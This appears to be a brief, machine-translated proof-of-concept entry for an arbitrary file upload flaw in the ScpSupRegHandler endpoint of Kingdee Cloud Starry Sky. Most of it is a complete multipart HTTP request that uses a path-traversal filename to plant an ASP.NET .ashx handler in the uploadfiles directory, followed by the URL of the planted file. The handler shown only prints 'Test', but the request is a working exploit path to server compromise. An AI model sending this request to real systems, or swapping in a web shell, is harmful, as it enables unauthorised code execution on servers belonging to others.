Kingdee Oa Cloud Starry Sky Scpsupreghandler Arbitrary File Upload Vulnerability

Kingdee OA Cloud Starry Sky ScpSupRegHandler Any file upload vulnerability

Vulnerability Description

Kingdee OA Cloud Starry Sky ScpSupRegHandler interface has a vulnerability to upload any file. The attacker can upload any file to obtain server permissions through the vulnerability.

Vulnerability Impact

Kingdee OA Cloud Starry Sky

Network surveying and mapping

Vulnerability reappears

Login page

Verify POC

POST /k3cloud/SRM/ScpSupRegHandler HTTP/1.1
Host: 
Accept-Encoding: identity
Content-Length: 973
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=2ac719f8e29343df94aa4ab49e456061

--2ac719f8e29343df94aa4ab49e456061
Content-Disposition: form-data; name="dbId_v"

.
--2ac719f8e29343df94aa4ab49e456061
Content-Disposition: form-data; name="FID"

2022
--2ac719f8e29343df94aa4ab49e456061
Content-Disposition: form-data; name="FAtt"; filename="../../../../uploadfiles/test.ashx."
Content-Type: text/plain

<%@ WebHandler Language="C#" Class="TestHandler" %>
        using System;
        using System.Web;
        public class TestHandler : IHttpHandler {
            public void
            ProcessRequest (HttpContext context) {
                context.Response.ContentType= "text/plain";
                context.Response.Write("Test");
            }
            public bool IsReusable {
                get {return false; }
            }
        }
--2ac719f8e29343df94aa4ab49e456061--

/K3Cloud/uploadfiles/Test.ashx